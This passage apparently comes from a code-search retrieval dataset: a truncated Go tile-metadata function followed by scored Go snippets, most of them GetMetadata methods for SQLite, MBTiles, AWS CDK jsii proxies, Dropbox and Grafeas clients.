\"bounds\":\n\t\t\tmd.Bounds, err = stringToBounds(value)\n\t\tcase \"type\":\n\t\t\tmd.Type = stringToLayerType(value)\n\t\tcase \"json\":\n\t\t\terr = json.Unmarshal([]byte(value), &md.LayerData)\n\t\t}\n\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif md.MaxZoom == 0 {\n\t\tvar min, max string\n\t\tif err := ts.database.QueryRow(\"SELECT min(zoom_level), max(zoom_level) FROM tiles\").Scan(&min, &max); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tmd.MinZoom, err = strconv.Atoi(min)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tmd.MaxZoom, err = strconv.Atoi(max)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn md, nil\n}", "title": "" } ]
[ { "docid": "9915adb5309d9320f4c70b961b8183ec", "score": "0.67877364", "text": "func getTableMetadata(ctx context.Context, log lg.Log, db sqlz.DB, tblName string) (*source.TableMetadata, error) {\n\ttblMeta := &source.TableMetadata{Name: tblName}\n\t// Note that there's no easy way of getting the physical size of\n\t// a table, so tblMeta.Size remains nil.\n\n\t// But we can get the row count and table type (\"table\" or \"view\")\n\tconst tpl = `SELECT\n(SELECT COUNT(*) FROM %q),\n(SELECT type FROM sqlite_master WHERE name = %q LIMIT 1),\n(SELECT name FROM pragma_database_list ORDER BY seq LIMIT 1)`\n\tvar schema string\n\tquery := fmt.Sprintf(tpl, tblMeta.Name, tblMeta.Name)\n\terr := db.QueryRowContext(ctx, query).Scan(&tblMeta.RowCount, &tblMeta.DBTableType, &schema)\n\tif err != nil {\n\t\treturn nil, errz.Err(err)\n\t}\n\n\tswitch tblMeta.DBTableType {\n\tcase \"table\":\n\t\ttblMeta.TableType = sqlz.TableTypeTable\n\tcase \"view\":\n\t\ttblMeta.TableType = sqlz.TableTypeView\n\tdefault:\n\t}\n\n\ttblMeta.FQName = schema + \".\" + tblName\n\n\t// cid\tname\t\ttype\t\tnotnull\tdflt_value\tpk\n\t// 0\tactor_id\tINT\t\t\t1\t\t<null>\t\t1\n\t// 1\tfilm_id\t\tINT\t\t\t1\t\t<null>\t\t2\n\t// 2\tlast_update\tTIMESTAMP\t1\t\t<null>\t\t0\n\tquery = fmt.Sprintf(\"PRAGMA TABLE_INFO('%s')\", tblMeta.Name)\n\trows, err := db.QueryContext(ctx, query)\n\tif err != nil {\n\t\treturn nil, errz.Err(err)\n\t}\n\tdefer log.WarnIfCloseError(rows)\n\n\tfor rows.Next() {\n\t\tcol := &source.ColMetadata{}\n\t\tvar notnull int64\n\t\tdefaultValue := &sql.NullString{}\n\t\tpkValue := &sql.NullInt64{}\n\t\terr = rows.Scan(&col.Position, &col.Name, &col.BaseType, &notnull, defaultValue, pkValue)\n\t\tif err != nil {\n\t\t\treturn nil, errz.Err(err)\n\t\t}\n\n\t\tcol.PrimaryKey = pkValue.Int64 > 0 // pkVal can be 0,1,2 etc\n\t\tcol.ColumnType = col.BaseType\n\t\tcol.Nullable = notnull == 0\n\t\tcol.DefaultValue = defaultValue.String\n\t\tcol.Kind = kindFromDBTypeName(log, col.Name, col.BaseType, nil)\n\n\t\ttblMeta.Columns = append(tblMeta.Columns, col)\n\t}\n\n\terr = rows.Err()\n\tif err != nil {\n\t\treturn nil, errz.Err(err)\n\t}\n\n\treturn tblMeta, nil\n}", "title": "" }, { "docid": "f6c174ee34b9ef8c1a6c79a20b257e28", "score": "0.6754798", "text": "func (tileset *DB) ReadMetadata() (map[string]interface{}, error) {\n\tvar (\n\t\tkey string\n\t\tvalue string\n\t)\n\tmetadata := make(map[string]interface{})\n\n\trows, err := tileset.db.Query(\"select * from metadata where value is not ''\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\trows.Scan(&key, &value)\n\n\t\tswitch key {\n\t\tcase \"maxzoom\", \"minzoom\":\n\t\t\tmetadata[key], err = strconv.Atoi(value)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"cannot read metadata item %s: %v\", key, err)\n\t\t\t}\n\t\tcase \"bounds\", \"center\":\n\t\t\tmetadata[key], err = stringToFloats(value)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"cannot read metadata item %s: %v\", key, err)\n\t\t\t}\n\t\tcase \"json\":\n\t\t\terr = json.Unmarshal([]byte(value), &metadata)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"unable to parse JSON metadata item: %v\", err)\n\t\t\t}\n\t\tdefault:\n\t\t\tmetadata[key] = value\n\t\t}\n\t}\n\n\t// Supplement missing values by inferring from available data\n\t_, hasMinZoom := metadata[\"minzoom\"]\n\t_, hasMaxZoom := metadata[\"maxzoom\"]\n\tif !(hasMinZoom && hasMaxZoom) {\n\t\tvar minZoom, maxZoom int\n\t\terr := tileset.db.QueryRow(\"select min(zoom_level), max(zoom_level) from tiles\").Scan(&minZoom, &maxZoom)\n\t\tif err != nil {\n\t\t\treturn metadata, nil\n\t\t}\n\t\tmetadata[\"minzoom\"] = minZoom\n\t\tmetadata[\"maxzoom\"] = maxZoom\n\t}\n\treturn metadata, nil\n}", "title": "" }, { "docid": "1790a938e23003c27506e4b5ebdac275", "score": "0.6602836", "text": "func (d *Driver) GetMetadata(id string) (map[string]string, error) {\n\treturn nil, nil\n}", "title": "" }, { "docid": "29a7fe46bfbb133d3b7f08a8b2ed8bb4", "score": "0.6395074", "text": "func (e *Entry) GetMetadata() (res *Metadata, err error) {\n\tch := make(chan struct{})\n\tsuccess := func(md *Metadata) {\n\t\tres = md\n\t\tclose(ch)\n\t}\n\tfail := func(e *FileError) {\n\t\terr = e.Error()\n\t\tclose(ch)\n\t}\n\te.Call(\"getMetadata\", success, fail)\n\t<-ch\n\treturn\n}", "title": "" }, { "docid": "7aba10df15b0ff04be7a87dff537e8d6", "score": "0.63934314", "text": "func (tbl Table) Metadata(ctx context.Context) (*bigquery.TableMetadata, error) {\n\tif tbl.metadata == nil {\n\t\treturn nil, errors.New(\"Table object incorrectly initialized\")\n\t}\n\tif tbl.metadata.Type == \"\" {\n\t\tlog.Printf(\"Metadata %p %v\\n\", tbl.metadata, tbl.metadata)\n\t\tmsg := fmt.Sprintf(\"Error 404: Not found: Table %s, notFound\", tbl.FullyQualifiedName())\n\t\treturn nil, errors.New(msg)\n\t}\n\tlog.Printf(\"Metadata %p %v\\n\", tbl.metadata, tbl.metadata)\n\treturn tbl.metadata, nil\n}", "title": "" }, { "docid": "2354652b2d03113a90455576a8ab0ef4", "score": "0.6359392", "text": "func (c *jsiiProxy_CfnApiMappingV2) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "4ac16a36c01666b0effc77cad0d04720", "score": "0.6324232", "text": "func (c *jsiiProxy_CfnTypeActivation) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "7bc80d09ac699584801afe5ca587dc32", "score": "0.631056", "text": "func (_ERC721Metadata *ERC721MetadataCaller) GetMetadata(opts *bind.CallOpts, _tokenId *big.Int, arg1 string) (struct {\n\tBuffer [4][32]byte\n\tCount *big.Int\n}, error) {\n\tret := new(struct {\n\t\tBuffer [4][32]byte\n\t\tCount *big.Int\n\t})\n\tout := ret\n\terr := _ERC721Metadata.contract.Call(opts, out, \"getMetadata\", _tokenId, arg1)\n\treturn *ret, err\n}", "title": "" }, { "docid": "7e9b747a6cc00860d8efceb90b62d5d2", "score": "0.6242126", "text": "func (c *jsiiProxy_CfnRestApi) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "c353b6b5f7eb5576473a9d2b04e27abf", "score": "0.62376165", "text": "func (c *jsiiProxy_CfnMicrosoftAD) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "841979bfa997f265de429f3b5f18cbb0", "score": "0.6236189", "text": "func (c *jsiiProxy_CfnSchema) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "d4be44a8b5b85e68074a00f59090a020", "score": "0.6222296", "text": "func (o *Object) getMetadata() (metadata map[string]*string) {\n\tif len(o.meta) == 0 {\n\t\treturn nil\n\t}\n\tmetadata = make(map[string]*string, len(o.meta))\n\tfor k, v := range o.meta {\n\t\tv := v\n\t\tmetadata[k] = &v\n\t}\n\treturn metadata\n}", "title": "" }, { "docid": "f421d98ef9d98666ed539d3f0b27a7dd", "score": "0.6221309", "text": "func (c *jsiiProxy_CfnThing) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "68b265288461ed0930ec06c42999bdf0", "score": "0.6205304", "text": "func (c *jsiiProxy_CfnModel) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "d8255718195e404bd5da485c6911330b", "score": "0.6198852", "text": "func (m *Metadata) GetMetadata() Metadata {\n\treturn *m\n}", "title": "" }, { "docid": "5b337f4722c8f7372b3d1ebeaa2f3094", "score": "0.61934817", "text": "func (c *jsiiProxy_CfnPublicTypeVersion) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "374b4e0b77ba4bbaf506c2298862271c", "score": "0.61891717", "text": "func (c *jsiiProxy_CfnModelV2) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "deb7fa1ef6677faffec2e36ef9441025", "score": "0.6185799", "text": "func (b *base) GetMetadata() Metadata {\n\treturn b.Metadata\n}", "title": "" }, { "docid": "8be0a48c5a1b3fb3d679bcdb11271ca5", "score": "0.6169906", "text": "func (c *jsiiProxy_CfnSimpleAD) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "44c79cd5b62c0deddbc56a9eca0b73d6", "score": "0.6164926", "text": "func (c *jsiiProxy_CfnApiV2) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "d3603a5750ebec0bd4392c46a3f780e4", "score": "0.6146137", "text": "func (c *jsiiProxy_CfnScheduledAudit) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "9b35597cded087c1366cc2970a466974", "score": "0.61449057", "text": "func (c *jsiiProxy_CfnCanary) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "c1b335c29b52b7a9c44d1c1e1f03897a", "score": "0.6143934", "text": "func (c *jsiiProxy_CfnAgent) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "6347ff0518e3a7cb75bd915f86b4b52f", "score": "0.61340797", "text": "func (_ERC721Metadata *ERC721MetadataSession) GetMetadata(_tokenId *big.Int, arg1 string) (struct {\n\tBuffer [4][32]byte\n\tCount *big.Int\n}, error) {\n\treturn _ERC721Metadata.Contract.GetMetadata(&_ERC721Metadata.CallOpts, _tokenId, arg1)\n}", "title": "" }, { "docid": "f8fe4032ed933442d8127a2cc2a9116b", "score": "0.61302793", "text": "func (c *jsiiProxy_CfnTask) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "c2aeef48136264be5a657056285a3025", "score": "0.6104607", "text": "func (db *DB) GetMetadata(\n\tctx context.Context,\n\trequested models.Metadata,\n) (*models.Metadata, error) {\n\tmetadatas, err := db.ListMetadata(ctx, []*models.Metadata{&requested})\n\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(FormatDBError(err), \"failed to get metadata\")\n\t}\n\n\tif len(metadatas) == 1 {\n\t\treturn metadatas[0], nil\n\t}\n\n\treturn nil, errutil.ErrorNotFound\n}", "title": "" }, { "docid": "f2883dce6653f4173173176036d7c7ff", "score": "0.60696286", "text": "func (c *jsiiProxy_CfnModuleVersion) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "358a9e17aa41614470baeea7adc0afa6", "score": "0.60615945", "text": "func (s *objectLockingMap) GetMetadata(ctx context.Context, id blob.ID) (blob.Metadata, error) {\n\ts.mutex.RLock()\n\tdefer s.mutex.RUnlock()\n\n\te, err := s.getLatestByID(id)\n\tif err != nil {\n\t\treturn blob.Metadata{}, err\n\t}\n\n\treturn blob.Metadata{\n\t\tBlobID: id,\n\t\tLength: int64(len(e.value)),\n\t\tTimestamp: e.mtime,\n\t}, nil\n}", "title": "" }, { "docid": "4500a29989d5451cd2d2df1f7b6301ff", "score": "0.6044315", "text": "func (d *Driver) GetMetadata(id string) (map[string]string, error) {\n\tm, err := d.DeviceSet.exportDeviceMetadata(id)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmetadata := make(map[string]string)\n\tmetadata[\"DeviceId\"] = strconv.Itoa(m.deviceID)\n\tmetadata[\"DeviceSize\"] = strconv.FormatUint(m.deviceSize, 10)\n\tmetadata[\"DeviceName\"] = m.deviceName\n\treturn metadata, nil\n}", "title": "" }, { "docid": "9c7098a19c0b02c1e583b253df1cc29e", "score": "0.6021215", "text": "func (c *jsiiProxy_CfnLoadBalancer) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "2cc8f92d55845ea2b625788cc92fd8fa", "score": "0.60211855", "text": "func (c *jsiiProxy_CfnAccountAuditConfiguration) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "b38b028cf19446e656748c2f94e2ee3a", "score": "0.60109705", "text": "func (c *jsiiProxy_CfnPublisher) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "3b7660402babb73bbdffd1965ee1c5fb", "score": "0.6005458", "text": "func (c *jsiiProxy_CfnDeployment) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "1f417ab69bd838987190502c6cd132e6", "score": "0.5985221", "text": "func (c *jsiiProxy_CfnDomainConfiguration) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "da75e41255f16dd495fcde3dd5b22e0a", "score": "0.59768564", "text": "func (*entityImpl) Metadata(p graphql.ResolveParams) (interface{}, error) {\n\tentity := p.Source.(*corev2.Entity)\n\tentity = entity.GetRedactedEntity()\n\treturn entity.GetObjectMeta(), nil\n}", "title": "" }, { "docid": "e95cd13d6c07eef82e11c11690fb5548", "score": "0.59746873", "text": "func (b *Reader) GetVulnerabilityMetadata(id, namespace string) (*v3.VulnerabilityMetadata, error) {\n\ttotal := 0\n\tvar m model.VulnerabilityMetadataModel\n\tvar scanErr error\n\n\terr := b.db.PKSelect(model.VulnerabilityMetadataTableName, sqlittle.Key{id, namespace}, func(row sqlittle.Row) {\n\t\ttotal++\n\n\t\tif err := row.Scan(&m.ID, &m.Namespace, &m.DataSource, &m.RecordSource, &m.Severity, &m.URLs, &m.Description, &m.Cvss); err != nil {\n\t\t\tscanErr = fmt.Errorf(\"unable to scan over row: %w\", err)\n\t\t\treturn\n\t\t}\n\t}, \"id\", \"namespace\", \"data_source\", \"record_source\", \"severity\", \"urls\", \"description\", \"cvss\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to query: %w\", err)\n\t}\n\tif scanErr != nil {\n\t\treturn nil, scanErr\n\t}\n\n\tswitch {\n\tcase total == 0:\n\t\treturn nil, nil\n\tcase total > 1:\n\t\treturn nil, fmt.Errorf(\"discovered more than one DB metadata record\")\n\t}\n\n\tmetadata, err := m.Inflate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &metadata, nil\n}", "title": "" }, { "docid": "3f345bf18f44c6301758c76e3780ad9e", "score": "0.5973086", "text": "func (c *jsiiProxy_CfnMacro) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "88f7669147c5207b0d4c9d0bb8686cdd", "score": "0.5965725", "text": "func (c *jsiiProxy_CfnConfigurationSet) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "f3fc18a78242432aca5be2c03a2cea16", "score": "0.5960949", "text": "func (c *jsiiProxy_CfnIntegrationV2) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "59634bcb28d24f46bf31f736c56622b8", "score": "0.59525424", "text": "func (c *jsiiProxy_CfnAccount) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "8dc9ac8f3aebc95ff08068b3f2f1065c", "score": "0.5952164", "text": "func (c *jsiiProxy_CfnRegistry) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "be89f4a103698994fe293e5f8c5b27d4", "score": "0.59443295", "text": "func (c *jsiiProxy_CfnTemplate) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "d28fe97f261d5801f22acdd49c9f7310", "score": "0.5939024", "text": "func (cl Client) GetMetadata(p GetMetadataParams) (Metadata, error) {\n\tbody := &bytes.Buffer{}\n\n\te := json.NewEncoder(body)\n\n\tif err := e.Encode(p); err != nil {\n\t\treturn Metadata{}, fmt.Errorf(\"dropbox.Client.GetMetadata: json.Encode: %w\", err)\n\t}\n\n\treq, err := http.NewRequest(\"POST\", \"https://api.dropboxapi.com/2/files/get_metadata\", body)\n\tif err != nil {\n\t\treturn Metadata{}, fmt.Errorf(\"dropbox.Client.GetMetadata: http.NewRequest: %w\", err)\n\t}\n\n\treq.Header.Set(\"Authorization\", \"Bearer \"+cl.Token)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tresp, err := cl.Do(req)\n\tif err != nil {\n\t\treturn Metadata{}, fmt.Errorf(\"dropbox.Client.GetMetadata: http.Client.Do: %w\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\tvar ret Metadata\n\td := json.NewDecoder(resp.Body)\n\n\tif err := d.Decode(&ret); err != nil {\n\t\treturn Metadata{}, fmt.Errorf(\"dropbox.Client.GetMetadata: json.Decode: %w\", err)\n\t}\n\n\treturn ret, nil\n\n}", "title": "" }, { "docid": "50a8e05f3c898549d5f6796f145a18a4", "score": "0.59303355", "text": "func (c *jsiiProxy_CfnDeploymentV2) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "a00f0ef75c5fffcc8e9e49903847cb41", "score": "0.5926531", "text": "func (s *Server) PrestoGetTableMetadata(schemaTableName *presto.PrestoThriftSchemaTableName) (*presto.PrestoThriftNullableTableMetadata, error) {\n\tdefer s.handlePanic()\n\tdefer s.monitor.Duration(ctxTag, funcTag, time.Now(), \"func:get_table_metadata\")\n\n\t// Retrieve the table\n\ttable, err := s.getTable(schemaTableName.TableName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Load the schema\n\tschema, err := table.Schema()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Convert to SQL types\n\tvar columns []*presto.PrestoThriftColumnMetadata\n\tfor k, v := range schema {\n\t\tcolumns = append(columns, &presto.PrestoThriftColumnMetadata{\n\t\t\tName: k,\n\t\t\tType: v.SQL(),\n\t\t})\n\t}\n\n\t// Prepare metadata result\n\treturn &presto.PrestoThriftNullableTableMetadata{\n\t\tTableMetadata: &presto.PrestoThriftTableMetadata{\n\t\t\tSchemaTableName: &presto.PrestoThriftSchemaTableName{SchemaName: s.conf().Readers.Presto.Schema, TableName: table.Name()},\n\t\t\tColumns: columns,\n\t\t},\n\t}, nil\n}", "title": "" }, { "docid": "c4223ded777eb1bc0b8fdc844e057bdd", "score": "0.5912487", "text": "func (_ERC721Metadata *ERC721MetadataCallerSession) GetMetadata(_tokenId *big.Int, arg1 string) (struct {\n\tBuffer [4][32]byte\n\tCount *big.Int\n}, error) {\n\treturn _ERC721Metadata.Contract.GetMetadata(&_ERC721Metadata.CallOpts, _tokenId, arg1)\n}", "title": "" }, { "docid": "4779947074dc90442902f7d7e106a8c0", "score": "0.5907041", "text": "func (c *jsiiProxy_CfnProject) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "3dd173bc2cc1c7430aca9739b5e2bcfe", "score": "0.58961964", "text": "func (g *Client) GetMetadata(ctx context.Context, reference reference.Canonical, metadataType voucher.MetadataType) (items []voucher.MetadataItem, err error) {\n\tfilterStr := resourceURL(reference)\n\n\tkind := getNoteKind(metadataType)\n\tif kind != common.NoteKind_NOTE_KIND_UNSPECIFIED {\n\t\tfilterStr = kindFilterStr(reference, kind)\n\t}\n\n\tproject := projectPath(g.imageProject)\n\treq := &grafeaspb.ListOccurrencesRequest{Parent: project, Filter: filterStr}\n\toccIterator := g.grafeas.ListOccurrences(ctx, req)\n\tfor {\n\t\tvar occ *grafeaspb.Occurrence\n\t\tocc, err = occIterator.Next()\n\t\tif nil != err {\n\t\t\tif iterator.Done == err {\n\t\t\t\terr = nil\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t\titem := new(Item)\n\t\titem.Occurrence = occ\n\t\titems = append(items, item)\n\t}\n\n\tif 0 == len(items) && nil == err {\n\t\terr = &voucher.NoMetadataError{\n\t\t\tType: metadataType,\n\t\t\tErr: errNoOccurrences,\n\t\t}\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "386a216268659b4dd51b81be80fc7ab6", "score": "0.5890224", "text": "func (c *jsiiProxy_CfnDocumentationVersion) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "aa03321ccc9a2d6cb84d938b844459f3", "score": "0.5872747", "text": "func (c *jsiiProxy_CfnResource) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "57ceda34431df7b8e06890d0f4bce415", "score": "0.58604", "text": "func (c *jsiiProxy_CfnResponsePlan) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "fc7c1705f27189240f8ddc8512454f5c", "score": "0.58599496", "text": "func (t *Table) Metadata() Metadata {\n\treturn t.metadata\n}", "title": "" }, { "docid": "95612f4233c20bd59e6301bb45eef8c4", "score": "0.5859372", "text": "func (c *jsiiProxy_CfnMethod) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "9eecd002038ddccb373c2285f5f6276f", "score": "0.58557874", "text": "func GetMetadata(labels map[string]string) (InstallerMetadata, error) {\n\tr := regexp.MustCompile(\"(^protos.installer.metadata.)(\\\\w+)\")\n\tmetadata := InstallerMetadata{}\n\tfor label, value := range labels {\n\t\tlabelParts := r.FindStringSubmatch(label)\n\t\tif len(labelParts) == 3 {\n\t\t\tswitch labelParts[2] {\n\t\t\tcase \"capabilities\":\n\t\t\t\tmetadata.Capabilities = parseInstallerCapabilities(value)\n\t\t\tcase \"params\":\n\t\t\t\tmetadata.Params = strings.Split(value, \",\")\n\t\t\tcase \"provides\":\n\t\t\t\tmetadata.Provides = strings.Split(value, \",\")\n\t\t\tcase \"requires\":\n\t\t\t\tmetadata.Requires = strings.Split(value, \",\")\n\t\t\tcase \"publicports\":\n\t\t\t\tmetadata.PublicPorts = parsePublicPorts(value)\n\t\t\tcase \"description\":\n\t\t\t\tmetadata.Description = value\n\t\t\t}\n\t\t}\n\n\t}\n\tif metadata.Description == \"\" {\n\t\treturn metadata, errors.New(\"installer metadata field 'description' is mandatory\")\n\t}\n\treturn metadata, nil\n}", "title": "" }, { "docid": "8c72f8f4ea4342bd5c8dd39a17120f02", "score": "0.585149", "text": "func (c *jsiiProxy_CfnPolicy) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "e99e27cedb1cdc578c05b73602045b0b", "score": "0.58508927", "text": "func (c *jsiiProxy_CfnGatewayResponse) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "c9ebd0b27ac7cdc8c99e857d71e6c919", "score": "0.58438987", "text": "func (c *jsiiProxy_CfnResourceVersion) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": 